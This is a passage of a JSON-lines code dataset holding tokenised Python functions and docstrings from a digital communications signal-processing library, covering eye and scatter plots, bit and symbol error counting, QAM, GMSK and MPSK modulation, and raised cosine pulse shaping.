index\n\nReturns\n-------\nNone : A plot window opens containing the eye plot\n\nNotes\n-----\nIncrease S to eliminate filter transients.\n\nExamples\n--------\n1000 bits at 10 samples per bit with 'rc' shaping.\n\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import digitalcom as dc\n>>> x,b, data = dc.NRZ_bits(1000,10,'rc')\n>>> dc.eye_plot(x,20,60)\n>>> plt.show()", "id": "f14912:m1"}
{"signature": "def scatter(x,Ns,start):", "body": "xI = np.real(x[start::Ns])<EOL>xQ = np.imag(x[start::Ns])<EOL>return xI, xQ<EOL>", "docstring": "Sample a baseband digital communications waveform at the symbol spacing.\n\nParameters\n----------\nx : ndarray of the input digital comm signal\nNs : number of samples per symbol (bit)\nstart : the array index to start the sampling\n\nReturns\n-------\nxI : ndarray of the real part of x following sampling\nxQ : ndarray of the imaginary part of x following sampling\n\nNotes\n-----\nNormally the signal is complex, so the scatter plot contains \nclusters at point  in the complex plane. For a binary signal \nsuch as BPSK, the point centers are nominally +/-1 on the real\naxis. Start is used to eliminate transients from the FIR\npulse shaping filters from appearing in the scatter plot.\n\nExamples\n--------\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm import digitalcom as dc\n>>> x,b, data = dc.NRZ_bits(1000,10,'rc')\n\nAdd some noise so points are now scattered about +/-1.\n\n>>> y = dc.cpx_AWGN(x,20,10)\n>>> yI,yQ = dc.scatter(y,10,60)\n>>> plt.plot(yI,yQ,'.')\n>>> plt.grid()\n>>> plt.xlabel('In-Phase')\n>>> plt.ylabel('Quadrature')\n>>> plt.axis('equal')\n>>> plt.show()", "id": "f14912:m2"}
{"signature": "def strips(x,Nx,fig_size=(<NUM_LIT:6>,<NUM_LIT:4>)):", "body": "plt.figure(figsize=fig_size)<EOL>N = len(x)<EOL>Mx = int(np.ceil(N/float(Nx)))<EOL>x_max = np.max(np.abs(x))<EOL>for kk in range(Mx):<EOL><INDENT>plt.plot(np.array([<NUM_LIT:0>,Nx]),-kk*Nx*np.array([<NUM_LIT:1>,<NUM_LIT:1>]),'<STR_LIT>')<EOL>plt.plot(x[kk*Nx:(kk+<NUM_LIT:1>)*Nx]/x_max*<NUM_LIT>*Nx-kk*Nx,'<STR_LIT:b>')<EOL><DEDENT>plt.axis([<NUM_LIT:0>,Nx,-Nx*(Mx-<NUM_LIT:0.5>),Nx*<NUM_LIT:0.5>])<EOL>plt.yticks(np.arange(<NUM_LIT:0>,-Nx*Mx,-Nx),np.arange(<NUM_LIT:0>,Nx*Mx,Nx))<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>return <NUM_LIT:0><EOL>", "docstring": "Plots the contents of real ndarray x as a vertical stacking of\nstrips, each of length Nx. The default figure size is (6,4) inches.\nThe yaxis tick labels are the starting index of each strip. The red\ndashed lines correspond to zero amplitude in each strip.\n\nstrips(x,Nx,my_figsize=(6,4))\n\nMark Wickert April 2014", "id": "f14912:m3"}
{"signature": "def bit_errors(tx_data,rx_data,Ncorr = <NUM_LIT>,Ntransient = <NUM_LIT:0>):", "body": "<EOL>tx_data = <NUM_LIT:2>*tx_data[Ntransient:]-<NUM_LIT:1><EOL>rx_data = <NUM_LIT:2>*rx_data[Ntransient:]-<NUM_LIT:1><EOL>R0 = np.fft.ifft(np.fft.fft(rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R1 = np.fft.ifft(np.fft.fft(-<NUM_LIT:1>*rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R0 = np.fft.fftshift(R0)<EOL>R1 = np.fft.fftshift(R1)<EOL>R0max = np.max(R0.real)<EOL>R1max = np.max(R1.real)<EOL>R = np.array([R0max,R1max])<EOL>Rmax = np.max(R)<EOL>kphase_max = np.where(R == Rmax)[<NUM_LIT:0>]<EOL>kmax = kphase_max[<NUM_LIT:0>]<EOL>if kmax == <NUM_LIT:0>:<EOL><INDENT>lagmax = np.where(R0.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>elif kmax == <NUM_LIT:1>:<EOL><INDENT>lagmax = np.where(R1.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>taumax = lagmax[<NUM_LIT:0>]<EOL>print('<STR_LIT>' % (kmax, taumax))<EOL>if taumax < <NUM_LIT:0>:<EOL><INDENT>tx_data = tx_data[int(-taumax):]<EOL>tx_data = tx_data[:min(len(tx_data),len(rx_data))]<EOL>rx_data = (-<NUM_LIT:1>)**kmax*rx_data[:len(tx_data)]<EOL><DEDENT>else:<EOL><INDENT>rx_data = (-<NUM_LIT:1>)**kmax * rx_data[int(taumax):]<EOL>rx_data = rx_data[:min(len(tx_data),len(rx_data))]<EOL>tx_data = tx_data[:len(rx_data)]<EOL><DEDENT>Bit_count = len(tx_data)<EOL>tx_I = np.int16((tx_data.real + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>rx_I = np.int16((rx_data.real + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>Bit_errors = tx_I ^ rx_I<EOL>return Bit_count,np.sum(Bit_errors)<EOL>", "docstring": "Count bit errors between a transmitted and received BPSK signal.\nTime delay between streams is detected as well as ambiquity resolution\ndue to carrier phase lock offsets of :math:`k*\\\\pi`, k=0,1.\nThe ndarray tx_data is Tx 0/1 bits as real numbers I.\nThe ndarray rx_data is Rx 0/1 bits as real numbers I.\nNote: Ncorr needs to be even", "id": "f14912:m4"}
{"signature": "def QAM_bb(N_symb,Ns,mod_type='<STR_LIT>',pulse='<STR_LIT>',alpha=<NUM_LIT>):", "body": "<EOL>if pulse.lower() == '<STR_LIT:src>':<EOL><INDENT>b = sqrt_rc_imp(Ns,alpha,<NUM_LIT:6>)<EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = rc_imp(Ns,alpha,<NUM_LIT:6>)    <EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = np.ones(int(Ns)) <EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:2> <EOL><DEDENT>elif mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:4><EOL><DEDENT>elif mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:8><EOL><DEDENT>elif mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:16><EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>xI = np.random.randint(<NUM_LIT:0>,M,N_symb)<EOL>xI = <NUM_LIT:2>*xI - (M-<NUM_LIT:1>)<EOL>xQ = np.random.randint(<NUM_LIT:0>,M,N_symb)<EOL>xQ = <NUM_LIT:2>*xQ - (M-<NUM_LIT:1>)<EOL>symbI = np.hstack((xI.reshape(N_symb,<NUM_LIT:1>),np.zeros((N_symb,int(Ns)-<NUM_LIT:1>))))<EOL>symbI = symbI.flatten()<EOL>symbQ = np.hstack((xQ.reshape(N_symb,<NUM_LIT:1>),np.zeros((N_symb,int(Ns)-<NUM_LIT:1>))))<EOL>symbQ = symbQ.flatten()<EOL>symb = symbI + <NUM_LIT>*symbQ<EOL>if M > <NUM_LIT:2>:<EOL><INDENT>symb /= (M-<NUM_LIT:1>)<EOL><DEDENT>x = signal.lfilter(b,<NUM_LIT:1>,symb)<EOL>x = x.flatten() <EOL>b = b/sum(b)<EOL>return x, b, xI+<NUM_LIT>*xQ<EOL>", "docstring": "QAM_BB_TX: A complex baseband transmitter \nx,b,tx_data = QAM_bb(K,Ns,M)\n\n//////////// Inputs //////////////////////////////////////////////////\n  N_symb = the number of symbols to process\n      Ns = number of samples per symbol\nmod_type = modulation type: qpsk, 16qam, 64qam, or 256qam\n   alpha = squareroot raised codine pulse shape bandwidth factor.\n           For DOCSIS alpha = 0.12 to 0.18. In general alpha can \n           range over 0 < alpha < 1.\n     SRC = pulse shape: 0-> rect, 1-> SRC\n//////////// Outputs /////////////////////////////////////////////////\n       x = complex baseband digital modulation\n       b = transmitter shaping filter, rectangle or SRC\n tx_data = xI+1j*xQ = inphase symbol sequence + \n           1j*quadrature symbol sequence\n\nMark Wickert November 2014", "id": "f14912:m5"}
{"signature": "def QAM_SEP(tx_data,rx_data,mod_type,Ncorr = <NUM_LIT>,Ntransient = <NUM_LIT:0>,SEP_disp=True):", "body": "<EOL>tx_data = tx_data[Ntransient:]<EOL>rx_data = rx_data[Ntransient:]<EOL>Nmin = min([len(tx_data),len(rx_data)])<EOL>tx_data = tx_data[:Nmin]<EOL>rx_data = rx_data[:Nmin]<EOL>if mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:2> <EOL><DEDENT>elif mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:4><EOL><DEDENT>elif mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:8><EOL><DEDENT>elif mod_type.lower() == '<STR_LIT>':<EOL><INDENT>M = <NUM_LIT:16><EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>rx_data = np.rint((M-<NUM_LIT:1>)*(rx_data + (<NUM_LIT:1>+<NUM_LIT>))/<NUM_LIT>)<EOL>s1r = np.nonzero(np.ravel(rx_data.real > M - <NUM_LIT:1>))[<NUM_LIT:0>]<EOL>s2r = np.nonzero(np.ravel(rx_data.real < <NUM_LIT:0>))[<NUM_LIT:0>]<EOL>rx_data.real[s1r] = (M - <NUM_LIT:1>)*np.ones(len(s1r))<EOL>rx_data.real[s2r] = np.zeros(len(s2r))<EOL>s1i = np.nonzero(np.ravel(rx_data.imag > M - <NUM_LIT:1>))[<NUM_LIT:0>]<EOL>s2i = np.nonzero(np.ravel(rx_data.imag < <NUM_LIT:0>))[<NUM_LIT:0>]<EOL>rx_data.imag[s1i] = (M - <NUM_LIT:1>)*np.ones(len(s1i))<EOL>rx_data.imag[s2i] = np.zeros(len(s2i))<EOL>rx_data = <NUM_LIT:2>*rx_data - (M - <NUM_LIT:1>)*(<NUM_LIT:1> + <NUM_LIT>)<EOL>R0,lags = xcorr(rx_data,tx_data,Ncorr)<EOL>R1,lags = xcorr(rx_data*(<NUM_LIT>)**<NUM_LIT:1>,tx_data,Ncorr) <EOL>R2,lags = xcorr(rx_data*(<NUM_LIT>)**<NUM_LIT:2>,tx_data,Ncorr) <EOL>R3,lags = xcorr(rx_data*(<NUM_LIT>)**<NUM_LIT:3>,tx_data,Ncorr) <EOL>R0max = np.max(R0.real)<EOL>R1max = np.max(R1.real)<EOL>R2max = np.max(R2.real)<EOL>R3max = np.max(R3.real)<EOL>R = np.array([R0max,R1max,R2max,R3max])<EOL>Rmax = np.max(R)<EOL>kphase_max = np.where(R == Rmax)[<NUM_LIT:0>]<EOL>kmax = kphase_max[<NUM_LIT:0>]<EOL>if kmax == <NUM_LIT:0>:<EOL><INDENT>lagmax = lags[np.where(R0.real == Rmax)[<NUM_LIT:0>]]<EOL><DEDENT>elif kmax == <NUM_LIT:1>:<EOL><INDENT>lagmax = lags[np.where(R1.real == Rmax)[<NUM_LIT:0>]]<EOL><DEDENT>elif kmax == <NUM_LIT:2>:<EOL><INDENT>lagmax = lags[np.where(R2.real == Rmax)[<NUM_LIT:0>]]<EOL><DEDENT>elif kmax == <NUM_LIT:3>:<EOL><INDENT>lagmax = lags[np.where(R3.real == Rmax)[<NUM_LIT:0>]]<EOL><DEDENT>taumax = lagmax[<NUM_LIT:0>]<EOL>if SEP_disp:<EOL><INDENT>print('<STR_LIT>' % (kmax, taumax))<EOL><DEDENT>if taumax < <NUM_LIT:0>:<EOL><INDENT>tx_data = tx_data[-taumax:]<EOL>tx_data = tx_data[:min(len(tx_data),len(rx_data))]<EOL>rx_data = (<NUM_LIT>)**kmax*rx_data[:len(tx_data)]<EOL><DEDENT>else:<EOL><INDENT>rx_data = (<NUM_LIT>)**kmax*rx_data[taumax:]<EOL>rx_data = rx_data[:min(len(tx_data),len(rx_data))]<EOL>tx_data = tx_data[:len(rx_data)]<EOL><DEDENT>errors = np.int16(abs(rx_data-tx_data))<EOL>idx = np.nonzero(np.ravel(errors != <NUM_LIT:0>))[<NUM_LIT:0>]<EOL>if SEP_disp:<EOL><INDENT>print('<STR_LIT>'% (len(errors), len(idx), len(idx)/float(len(errors))))<EOL><DEDENT>return  len(errors), len(idx), len(idx)/float(len(errors))<EOL>", "docstring": "Nsymb, Nerr, SEP_hat =\nQAM_symb_errors(tx_data,rx_data,mod_type,Ncorr = 1024,Ntransient = 0)\n\nCount symbol errors between a transmitted and received QAM signal.\nThe received symbols are assumed to be soft values on a unit square.\nTime delay between streams is detected.\nThe ndarray tx_data is Tx complex symbols.\nThe ndarray rx_data is Rx complex symbols.\nNote: Ncorr needs to be even", "id": "f14912:m6"}
{"signature": "def GMSK_bb(N_bits, Ns, MSK = <NUM_LIT:0>,BT = <NUM_LIT>):", "body": "x, b, data = NRZ_bits(N_bits,Ns)<EOL>M = <NUM_LIT:4><EOL>n = np.arange(-M*Ns,M*Ns+<NUM_LIT:1>)<EOL>p = np.exp(-<NUM_LIT:2>*np.pi**<NUM_LIT:2>*BT**<NUM_LIT:2>/np.log(<NUM_LIT:2>)*(n/float(Ns))**<NUM_LIT:2>);<EOL>p = p/np.sum(p);<EOL>if MSK != <NUM_LIT:0>:<EOL><INDENT>x = signal.lfilter(p,<NUM_LIT:1>,x)<EOL><DEDENT>y = np.exp(<NUM_LIT>*np.pi/<NUM_LIT:2>*np.cumsum(x)/Ns)<EOL>return y, data<EOL>", "docstring": "MSK/GMSK Complex Baseband Modulation\nx,data = gmsk(N_bits, Ns, BT = 0.35, MSK = 0)\n\nParameters\n----------\nN_bits : number of symbols processed\nNs : the number of samples per bit\nMSK : 0 for no shaping which is standard MSK, MSK <> 0 --> GMSK is generated.\nBT : premodulation Bb*T product which sets the bandwidth of the Gaussian lowpass filter\n\nMark Wickert Python version November 2014", "id": "f14912:m7"}
{"signature": "def MPSK_bb(N_symb,Ns,M,pulse='<STR_LIT>',alpha = <NUM_LIT>,MM=<NUM_LIT:6>):", "body": "data = np.random.randint(<NUM_LIT:0>,M,N_symb) <EOL>xs = np.exp(<NUM_LIT>*<NUM_LIT:2>*np.pi/M*data)<EOL>x = np.hstack((xs.reshape(N_symb,<NUM_LIT:1>),np.zeros((N_symb,int(Ns)-<NUM_LIT:1>))))<EOL>x =x.flatten()<EOL>if pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = np.ones(int(Ns))<EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = rc_imp(Ns,alpha,MM)<EOL><DEDENT>elif pulse.lower() == '<STR_LIT:src>':<EOL><INDENT>b = sqrt_rc_imp(Ns,alpha,MM)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x = signal.lfilter(b,<NUM_LIT:1>,x)<EOL>if M == <NUM_LIT:4>:<EOL><INDENT>x = x*np.exp(<NUM_LIT>*np.pi/<NUM_LIT:4>); <EOL><DEDENT>return x,b/float(Ns),data<EOL>", "docstring": "Generate a complex baseband MPSK signal with pulse shaping.\n\nParameters\n----------\nN_symb : number of MPSK symbols to produce\nNs : the number of samples per bit,\nM : MPSK modulation order, e.g., 4, 8, 16, ...\npulse_type : 'rect' , 'rc', 'src' (default 'rect')\nalpha : excess bandwidth factor(default 0.25)\nMM : single sided pulse duration (default = 6) \n\nReturns\n-------\nx : ndarray of the MPSK signal values\nb : ndarray of the pulse shape\ndata : ndarray of the underlying data bits\n\nNotes\n-----\nPulse shapes include 'rect' (rectangular), 'rc' (raised cosine), \n'src' (root raised cosine). The actual pulse length is 2*M+1 samples.\nThis function is used by BPSK_tx in the Case Study article.\n\nExamples\n--------\n>>> from sk_dsp_comm import digitalcom as dc\n>>> import scipy.signal as signal\n>>> import matplotlib.pyplot as plt\n>>> x,b,data = dc.MPSK_bb(500,10,8,'src',0.35)\n>>> # Matched filter received signal x\n>>> y = signal.lfilter(b,1,x)\n>>> plt.plot(y.real[12*10:],y.imag[12*10:])\n>>> plt.xlabel('In-Phase')\n>>> plt.ylabel('Quadrature')\n>>> plt.axis('equal')\n>>> # Sample once per symbol\n>>> plt.plot(y.real[12*10::10],y.imag[12*10::10],'r.')\n>>> plt.show()", "id": "f14912:m8"}
{"signature": "def QPSK_rx(fc,N_symb,Rs,EsN0=<NUM_LIT:100>,fs=<NUM_LIT>,lfsr_len=<NUM_LIT:10>,phase=<NUM_LIT:0>,pulse='<STR_LIT:src>'):", "body": "Ns = int(np.round(fs/Rs))<EOL>print('<STR_LIT>', Ns)<EOL>print('<STR_LIT>', fs/float(Ns))<EOL>print('<STR_LIT>', EsN0, '<STR_LIT>')<EOL>print('<STR_LIT>', phase, '<STR_LIT>')<EOL>print('<STR_LIT>', pulse)<EOL>x, b, data = QPSK_bb(N_symb,Ns,lfsr_len,pulse)<EOL>x = cpx_AWGN(x,EsN0,Ns)<EOL>n = np.arange(len(x))<EOL>xc = x*np.exp(<NUM_LIT>*<NUM_LIT:2>*np.pi*fc/float(fs)*n) * np.exp(<NUM_LIT>*phase)<EOL>return xc, b, data<EOL>", "docstring": "This function generates", "id": "f14912:m9"}
{"signature": "def QPSK_BEP(tx_data,rx_data,Ncorr = <NUM_LIT>,Ntransient = <NUM_LIT:0>):", "body": "<EOL>tx_data = tx_data[Ntransient:]<EOL>rx_data = rx_data[Ntransient:]<EOL>R0 = np.fft.ifft(np.fft.fft(rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R1 = np.fft.ifft(np.fft.fft(<NUM_LIT>*rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R2 = np.fft.ifft(np.fft.fft(-<NUM_LIT:1>*rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R3 = np.fft.ifft(np.fft.fft(-<NUM_LIT>*rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R0 = np.fft.fftshift(R0)<EOL>R1 = np.fft.fftshift(R1)<EOL>R2 = np.fft.fftshift(R2)<EOL>R3 = np.fft.fftshift(R3)<EOL>R0max = np.max(R0.real)<EOL>R1max = np.max(R1.real)<EOL>R2max = np.max(R2.real)<EOL>R3max = np.max(R3.real)<EOL>R = np.array([R0max,R1max,R2max,R3max])<EOL>Rmax = np.max(R)<EOL>kphase_max = np.where(R == Rmax)[<NUM_LIT:0>]<EOL>kmax = kphase_max[<NUM_LIT:0>]<EOL>if kmax == <NUM_LIT:0>:<EOL><INDENT>lagmax = np.where(R0.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>elif kmax == <NUM_LIT:1>:<EOL><INDENT>lagmax = np.where(R1.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>elif kmax == <NUM_LIT:2>: <EOL><INDENT>lagmax = np.where(R2.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>elif kmax == <NUM_LIT:3>:<EOL><INDENT>lagmax = np.where(R3.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>taumax = lagmax[<NUM_LIT:0>]<EOL>print('<STR_LIT>' % (kmax, taumax))<EOL>if taumax < <NUM_LIT:0>:<EOL><INDENT>tx_data = tx_data[-taumax:]<EOL>tx_data = tx_data[:min(len(tx_data),len(rx_data))]<EOL>rx_data = <NUM_LIT>**kmax*rx_data[:len(tx_data)]<EOL><DEDENT>else:<EOL><INDENT>rx_data = <NUM_LIT>**kmax*rx_data[taumax:]<EOL>rx_data = rx_data[:min(len(tx_data),len(rx_data))]<EOL>tx_data = tx_data[:len(rx_data)]<EOL><DEDENT>S_count = len(tx_data)<EOL>tx_I = np.int16((tx_data.real + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>tx_Q = np.int16((tx_data.imag + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>rx_I = np.int16((rx_data.real + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>rx_Q = np.int16((rx_data.imag + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>I_errors = tx_I ^ rx_I<EOL>Q_errors = tx_Q ^ rx_Q<EOL>S_errors = I_errors | Q_errors<EOL>return S_count,np.sum(I_errors),np.sum(Q_errors),np.sum(S_errors)<EOL>", "docstring": "Count bit errors between a transmitted and received QPSK signal.\nTime delay between streams is detected as well as ambiquity resolution\ndue to carrier phase lock offsets of :math:`k*\\\\frac{\\\\pi}{4}`, k=0,1,2,3.\nThe ndarray sdata is Tx +/-1 symbols as complex numbers I + j*Q.\nThe ndarray data is Rx +/-1 symbols as complex numbers I + j*Q.\nNote: Ncorr needs to be even", "id": "f14912:m12"}
{"signature": "def BPSK_BEP(tx_data,rx_data,Ncorr = <NUM_LIT>,Ntransient = <NUM_LIT:0>):", "body": "<EOL>tx_data = tx_data[Ntransient:]<EOL>rx_data = rx_data[Ntransient:]<EOL>R0 = np.fft.ifft(np.fft.fft(rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R1 = np.fft.ifft(np.fft.fft(-<NUM_LIT:1>*rx_data,Ncorr)*<EOL>np.conj(np.fft.fft(tx_data,Ncorr)))<EOL>R0 = np.fft.fftshift(R0)<EOL>R1 = np.fft.fftshift(R1)<EOL>R0max = np.max(R0.real)<EOL>R1max = np.max(R1.real)<EOL>R = np.array([R0max,R1max])<EOL>Rmax = np.max(R)<EOL>kphase_max = np.where(R == Rmax)[<NUM_LIT:0>]<EOL>kmax = kphase_max[<NUM_LIT:0>]<EOL>if kmax == <NUM_LIT:0>:<EOL><INDENT>lagmax = np.where(R0.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>elif kmax == <NUM_LIT:1>:<EOL><INDENT>lagmax = np.where(R1.real == Rmax)[<NUM_LIT:0>] - Ncorr/<NUM_LIT:2><EOL><DEDENT>taumax = int(lagmax[<NUM_LIT:0>])<EOL>print('<STR_LIT>' % (kmax, taumax))<EOL>if taumax < <NUM_LIT:0>:<EOL><INDENT>tx_data = tx_data[-taumax:]<EOL>tx_data = tx_data[:min(len(tx_data),len(rx_data))]<EOL>rx_data = (-<NUM_LIT:1>)**kmax*rx_data[:len(tx_data)]<EOL><DEDENT>else:<EOL><INDENT>rx_data = (-<NUM_LIT:1>)**kmax*rx_data[taumax:]<EOL>rx_data = rx_data[:min(len(tx_data),len(rx_data))]<EOL>tx_data = tx_data[:len(rx_data)]<EOL><DEDENT>S_count = len(tx_data)<EOL>tx_I = np.int16((tx_data.real + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>rx_I = np.int16((rx_data.real + <NUM_LIT:1>)/<NUM_LIT:2>)<EOL>I_errors = tx_I ^ rx_I<EOL>S_errors = I_errors<EOL>return S_count,np.sum(S_errors)<EOL>", "docstring": "Count bit errors between a transmitted and received BPSK signal.\nTime delay between streams is detected as well as ambiquity resolution\ndue to carrier phase lock offsets of :math:`k*\\\\pi`, k=0,1.\nThe ndarray tx_data is Tx +/-1 symbols as real numbers I.\nThe ndarray rx_data is Rx +/-1 symbols as real numbers I.\nNote: Ncorr needs to be even", "id": "f14912:m13"}
{"signature": "def BPSK_tx(N_bits,Ns,ach_fc=<NUM_LIT>,ach_lvl_dB=-<NUM_LIT:100>,pulse='<STR_LIT>',alpha = <NUM_LIT>,M=<NUM_LIT:6>):", "body": "x0,b,data0 = NRZ_bits(N_bits,Ns,pulse,alpha,M)<EOL>x1p,b,data1p = NRZ_bits(N_bits,Ns,pulse,alpha,M)<EOL>x1m,b,data1m = NRZ_bits(N_bits,Ns,pulse,alpha,M)<EOL>n = np.arange(len(x0))<EOL>x1p = x1p*np.exp(<NUM_LIT>*<NUM_LIT:2>*np.pi*ach_fc/float(Ns)*n)<EOL>x1m = x1m*np.exp(-<NUM_LIT>*<NUM_LIT:2>*np.pi*ach_fc/float(Ns)*n)<EOL>ach_lvl = <NUM_LIT:10>**(ach_lvl_dB/<NUM_LIT>)<EOL>return x0 + ach_lvl*(x1p + x1m), b, data0<EOL>", "docstring": "Generates biphase shift keyed (BPSK) transmitter with adjacent channel interference.\n\nGenerates three BPSK signals with rectangular or square root raised cosine (SRC) \npulse shaping of duration N_bits and Ns samples per bit. The desired signal is\ncentered on f = 0, which the adjacent channel signals to the left and right\nare also generated at dB level relative to the desired signal. Used in the \ndigital communications Case Study supplement.\n\nParameters\n----------\nN_bits : the number of bits to simulate\nNs : the number of samples per bit\nach_fc : the frequency offset of the adjacent channel signals (default 2.0)\nach_lvl_dB : the level of the adjacent channel signals in dB (default -100)\npulse : the pulse shape 'rect' or 'src'\nalpha : square root raised cosine pulse shape factor (default = 0.25)\nM : square root raised cosine pulse truncation factor (default = 6)\n\nReturns\n-------\nx : ndarray of the composite signal x0 + ach_lvl*(x1p + x1m)\nb : the transmit pulse shape \ndata0 : the data bits used to form the desired signal; used for error checking\n\nNotes\n-----\n\nExamples\n--------\n>>> x,b,data0 = BPSK_tx(1000,10,'src')", "id": "f14912:m14"}
{"signature": "def rc_imp(Ns,alpha,M=<NUM_LIT:6>):", "body": "<EOL>n = np.arange(-M*Ns,M*Ns+<NUM_LIT:1>)<EOL>b = np.zeros(len(n))<EOL>a = alpha<EOL>Ns *= <NUM_LIT:1.0><EOL>for i in range(len(n)):<EOL><INDENT>if (<NUM_LIT:1> - <NUM_LIT:4>*(a*n[i]/Ns)**<NUM_LIT:2>) == <NUM_LIT:0>:<EOL><INDENT>b[i] = np.pi/<NUM_LIT:4>*np.sinc(<NUM_LIT:1>/(<NUM_LIT>*a))<EOL><DEDENT>else:<EOL><INDENT>b[i] = np.sinc(n[i]/Ns)*np.cos(np.pi*a*n[i]/Ns)/(<NUM_LIT:1> - <NUM_LIT:4>*(a*n[i]/Ns)**<NUM_LIT:2>)<EOL><DEDENT><DEDENT>return b<EOL>", "docstring": "A truncated raised cosine pulse used in digital communications.\n\nThe pulse shaping factor :math:`0 < \\\\alpha < 1` is required as well as the\ntruncation factor M which sets the pulse duration to be :math:`2*M*T_{symbol}`.\n\nParameters\n----------\nNs : number of samples per symbol\nalpha : excess bandwidth factor on (0, 1), e.g., 0.35\nM : equals RC one-sided symbol truncation factor\n\nReturns\n-------\nb : ndarray containing the pulse shape\n\nSee Also\n--------\nsqrt_rc_imp\n\nNotes\n-----\nThe pulse shape b is typically used as the FIR filter coefficients\nwhen forming a pulse shaped digital communications waveform.\n\nExamples\n--------\nTen samples per symbol and :math:`\\\\alpha = 0.35`.\n\n>>> import matplotlib.pyplot as plt\n>>> from sk_dsp_comm.digitalcom import rc_imp\n>>> from numpy import arange\n>>> b = rc_imp(10,0.35)\n>>> n = arange(-10*6,10*6+1)\n>>> plt.stem(n,b)\n>>> plt.show()", "id": "f14912:m15"}
{"signature": "def sqrt_rc_imp(Ns,alpha,M=<NUM_LIT:6>):", "body": "<EOL>n = np.arange(-M*Ns,M*Ns+<NUM_LIT:1>)<EOL>b = np.zeros(len(n))<EOL>Ns *= <NUM_LIT:1.0><EOL>a = alpha<EOL>for i in range(len(n)):<EOL><INDENT>if abs(<NUM_LIT:1> - <NUM_LIT:16>*a**<NUM_LIT:2>*(n[i]/Ns)**<NUM_LIT:2>) <= np.finfo(np.float).eps/<NUM_LIT:2>:<EOL><INDENT>b[i] = <NUM_LIT:1>/<NUM_LIT>*((<NUM_LIT:1>+a)*np.sin((<NUM_LIT:1>+a)*np.pi/(<NUM_LIT>*a))-(<NUM_LIT:1>-a)*np.cos((<NUM_LIT:1>-a)*np.pi/(<NUM_LIT>*a))+(<NUM_LIT:4>*a)/np.pi*np.sin((<NUM_LIT:1>-a)*np.pi/(<NUM_LIT>*a)))<EOL><DEDENT>else:<EOL><INDENT>b[i] = <NUM_LIT:4>*a/(np.pi*(<NUM_LIT:1> - <NUM_LIT:16>*a**<NUM_LIT:2>*(n[i]/Ns)**<NUM_LIT:2>))<EOL>b[i] = b[i]*(np.cos((<NUM_LIT:1>+a)*np.pi*n[i]/Ns) + np.sinc((<NUM_LIT:1>-a)*n[i]/Ns)*(<NUM_LIT:1>-a)*np.pi/(<NUM_LIT>*a))<EOL><DEDENT><DEDENT>return b<EOL>", "docstring": "A truncated square root raised cosine pulse used in digital communications.\n\nThe pulse shaping factor :math:`0 < \\\\alpha < 1` is required as well as the\ntruncation factor M which sets the pulse duration to be :math:`2*M*T_{symbol}`.\n\n\nParameters\n----------\nNs : number of samples per symbol\nalpha : excess bandwidth factor on (0, 1), e.g., 0.35\nM : equals RC one-sided symbol truncation factor\n\nReturns\n-------\nb : ndarray containing the pulse shape\n\nNotes\n-----\nThe pulse shape b is typically used as the FIR filter coefficients\nwhen forming a pulse shaped digital communications waveform. When \nsquare root raised cosine (SRC) pulse is used to generate Tx signals and\nat the receiver used as a matched filter (receiver FIR filter), the \nreceived signal is now raised cosine shaped, thus having zero\nintersymbol interference and the optimum removal of additive white \nnoise if present at the receiver input.\n\nExamples\n--------\nTen samples per symbol and :math:`\\\\alpha = 0.35`.\n\n>>> import matplotlib.pyplot as plt\n>>> from numpy import arange\n>>> from sk_dsp_comm.digitalcom import sqrt_rc_imp\n>>> b = sqrt_rc_imp(10,0.35)\n>>> n = arange(-10*6,10*6+1)\n>>> plt.stem(n,b)\n>>> plt.show()", "id": "f14912:m16"}
